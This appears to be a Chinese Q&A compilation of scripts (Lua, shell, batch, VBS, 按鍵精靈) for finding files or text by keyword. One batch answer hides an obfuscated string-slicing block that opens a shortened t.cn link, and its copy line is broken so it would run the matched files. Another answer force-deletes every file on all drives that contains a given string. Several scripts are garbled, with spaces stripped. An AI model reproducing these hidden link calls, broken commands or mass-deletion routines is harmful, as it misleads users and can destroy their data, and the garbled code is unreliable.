⑴ 用Lua腳本來掃描一個日誌文件,找出裡面的關鍵字
逐行讀取進行匹配
local file = io.open("log.txt","r") --打開log
for l in file:lines() do --逐行讀取
if string.match(l,"error") then --如果存在字元串『error』
print(l) --輸出
end
end
file:close()
⑵ shell腳本關於文檔關鍵片語的搜索求助
#!/usr/bin/ksh
keyword="abcd"
dir=/home/test
filename=`ls $dir`
for I in $filename
do
grep $keyword $dir/$I >/dev/null 2>&1
if [ $? -eq 0 ]
then
{
echo $I `grep $keyword $dir/$I`
}
fi
done
⑶ windows通過批處理怎麼查找關鍵字 ,腳本怎麼寫
我以前寫的找文件的批,借你參考下
@echo off & setlocal enabledelayedexpansion
title by:chf
color 0a
set num=0
if exist %temp%\find.lst del %temp%\find.lst
:star
cls
echo.
echo ..........................................................
echo ^| by:chf ^|
echo ^| 1.模糊查找 2.普通查找 3.精確查找 ^|
echo ..........................................................
echo.
set /p chioce=請選擇:
echo %chioce%|findstr /i "[^-0-9]" && goto error
if "%chioce%"=="" goto error
if %chioce% gtr 3 goto error
if %chioce% lss 1 goto error
set /p file=請輸入關鍵字:
for /f "skip=1 tokens=*" %%i in ('wmic logicaldisk where "drivetype=3"
get name') do call :loop %%i
:loop
set m=%1
if not defined m goto exit
cls
if %chioce%==1 goto str1
if %chioce%==2 goto str2
if %chioce%==3 goto str3
:str
echo 文件"%file%"正在%m%盤中進行查找,請稍候,已經找到%num%個相關文件...
if exist %temp%\find.lst type %temp%\find.lst
for /f "tokens=*" %%j in ('dir %1\%filestr% /s /a /b') do (if not %%j==找不到文件 echo %%j>>%temp%\find.lst && set /a num+=1)
for /f "tokens=*" %%k in ('type %temp%\find.lst') do echo %%k
cls
goto :eof
:exit
cls
if %num%==0 (set/p=未找到與關鍵字'%file%'相關文件,<nul) else (echo 查找完成,共找到與%file%相關文件%num%個,路徑如下:)
if exist %temp%\find.lst type %temp%\find.lst |more && del %temp%\find.lst
echo 按任意鍵退出。。。 & pause>nul & exit
:str1
if exist %temp%\str.lst del %temp%\str.lst
set sz=0
:xh
set file%sz%=!file:~%sz%,1!
if "!file%sz%!"==" " set file%sz%=*
if "!file%sz%!"=="" goto end
set /a sz+=1
goto xh
:end
set /a ssz=%sz%-1
for /l %%l in (0 1 %ssz%) do set/p a=!file%%l!*<nul>>%temp%\str.lst
for /f "tokens=*" %%m in ('type %temp%\str.lst') do set filestr=%%m
goto str
:str2
set filestr=*%file%*
goto str
:str3
set filestr=%file%
goto str
:error
cls
echo 選擇有誤,請重新選擇...
ping /n 2 127.0.0.1>nul
goto star
::結束
⑷ 怎麼通過bat批處理來實現搜索電腦文件 由用戶輸入關鍵詞來搜索
@echo off
rem 搜索指定文件夾/目錄下名稱中包含指定字元串/關鍵字的文件
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
set "folder=D:\"
cd /d "%folder%"
:loop
cls&set "keyword="
set /p keyword=input:
if not defined keyword goto loop
for /f "delims=" %%i in ('dir /a-d /s /b "*%keyword%*.*"') do (
echo;"%%i"
start "" "%%i"
)
pause
goto loop
⑸ 按鍵精靈在網頁查找關鍵字的腳本是什麼
用這個子程序:
Else
xmlUrl = 網頁地址
End if
Set xmlHttp = CreateObject("Microsoft.XMLHTTP")
xmlHttp.Open "Get", xmlUrl, False
xmlHttp.Send
xmlBody = xmlHttp.ResponseBody
Set xmlHttp = Nothing
獲得網頁源文件 = ""
If Len(xmlBody) = 0 Then Exit Function
Set ObjStream = CreateObject("Adodb.Stream")
With ObjStream
.Type = 1
.Mode = 3
.Open
.Write xmlBody
.Position = 0
.Type = 2
.Charset = "UTF-8"
BytesToBstr = .ReadText
.Close
End With
Set ObjStream = Nothing
獲得網頁源文件 = BytesToBstr
End Function;
⑹ 如何寫一個 bat 腳本 在指定目錄下的文件夾中在所有文件中搜索關鍵字並輸出文件名
@echooff
for/f"delims="%%ain('dir/a-d/b/s指定目錄*關鍵字*')doecho%%~nxa
pause
⑺ 需要批量通過關鍵字查找文件並復制指定文件夾,bat內容該如何編輯。
關鍵字是多個,還是單個?
如果多個,是根據列表文件來讀取,還是自定義到腳本中?
我現在只寫單個的,或少量多個的。
@echo off & title 根據關鍵字拷貝文件 By 依夢琴瑤
::設置要搜索的關鍵字,多個關鍵字之間用空格隔開
set Word=測試 文本 開心
::設置要處理的文件夾
set SrcDir=D:\Test
::設置文件拷貝至哪個目錄
set SavDir=D:\Backup
cd /d "%SrcDir%"
for /r %%a in (*) do (
echo "%%~na" | findstr /i "%Word%" >nul 2>nul && "%%~a" "%SavDir%\"
)
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit
以上代碼是根據文件名判斷的,如果您是要查找文件內容,那麼代碼又不同了。
⑻ 按鍵精靈在網頁查找關鍵字的腳本
'能!
'用這個子程序
Function 獲得網頁源文件(網頁地址)
//說明:支持遠程獲取文本內容,如:MsgBox lib.網路.獲得網頁源文件("http://www.jdyou.com/test.txt")
//例子:MsgBox lib.網路.獲得網頁源文件("http://www.jdyou.com")
Dim xmlHttp, xmlBody, xmlUrl
Dim ThisCharCode ,NextCharCode ,BytesToBstr
If InStr(網頁地址, "http://") = 0 Then
xmlUrl = "http://" & 網頁地址
Else
xmlUrl = 網頁地址
End if
Set xmlHttp = CreateObject("Microsoft.XMLHTTP")
xmlHttp.Open "Get", xmlUrl, False
xmlHttp.Send
xmlBody = xmlHttp.ResponseBody
Set xmlHttp = Nothing
獲得網頁源文件 = ""
If Len(xmlBody) = 0 Then Exit Function
Set ObjStream = CreateObject("Adodb.Stream")
With ObjStream
.Type = 1
.Mode = 3
.Open
.Write xmlBody
.Position = 0
.Type = 2
.Charset = "UTF-8"
BytesToBstr = .ReadText
.Close
End With
Set ObjStream = Nothing
獲得網頁源文件 = BytesToBstr
End Function
'比如:你想查找到有"網路"字眼你就彈出一對話框,那麼可以如下實現.
Text=獲得網頁源文件("http://www..com")
if Instr(Text,"網路")>0 then
messagebox "測試彈出對話框"
End if
'以上所有文字 你復制到你按鍵精靈代碼編輯器里一試便知。
⑼ 怎麼用批處理搜索電腦中包含特定關鍵字的文件並將它刪除
@echooff&cd/d%~dp0
setfn=全盤清理包含指定內容的文件.bat
ifnot"%~nx0"=="%fn%"%0"%fn%"/y>nul&start"""%fn%"&del%0
setmsg=正在清理全盤包含指定內容的文件,請等待。。。
title%fn:~,-4%By依夢琴瑤&color0C
echo免責聲明:運行此腳本後,如果丟失文件,本作者概不負責。
echo如果同意,請按任意鍵繼續,否則請點擊右上角的關閉按鈕。
pause>nul&color0A&cls&title%~n0By依夢琴瑤
echo請輸入包含的字元串,區分大小寫(切勿在未輸入內容的情況下直接回車):
set/pStr=
title%msg%&echo,&echo即將開始清理。。。&ping0-n"3">nul&cls
for/f"tokens=2delims==:"%%ain('wmicLogicalDiskwhere"DriveType='3'"getDeviceID/value')do(
pushd%%~a:
echo正在掃描%%~a盤文件,此過程很耗時間,請耐心等待。。。&echo,
for/f"delims="%%ain('dir/a-d/s/b')do(
findstr/c:"%Str%""%%~a"&&(
del/a/f/q"%%~a"2>nul&&echo成功刪除"%%~a"||echo刪除失敗"%%~a"
)
)
echo,&echo,
popd
)
setmsg=全盤相關文件已清理完成
title%msg%By依夢琴瑤&echo%msg%(註:如果上面出現「刪除失敗」的提示,那麼可能該文件被佔用或無許可權),按任意鍵退出。
pause>nul&exit
⑽ 用VBS腳本實現:查找文件中指定內容,然後以查找的內容來重命名該文件名
set fso=createobject("scripting.filesystemobject")
set folder=fso.getfolder("D:\photos") '改成文件夾的路徑
set files=folder.files
for each file in files
ext=fso.getExtensionName(file)
if ext ="txt" then
set fread = fso.opentextfile(file.path,1)
str = ""
do until fread.atendofstream
strline=fread.readline
if left(strline,8) ="hostname" then
str = right(strline,len(strline)-8)
str =replace(str," ","")&"."&ext
exit do
end if
loop
fread.close
if file.name <> str then
file.name = str
end if
end if
next
————————————————————————————
以上代碼需要保證hostname 後面的文字不能重復,因為文件名稱是不能完全相同的。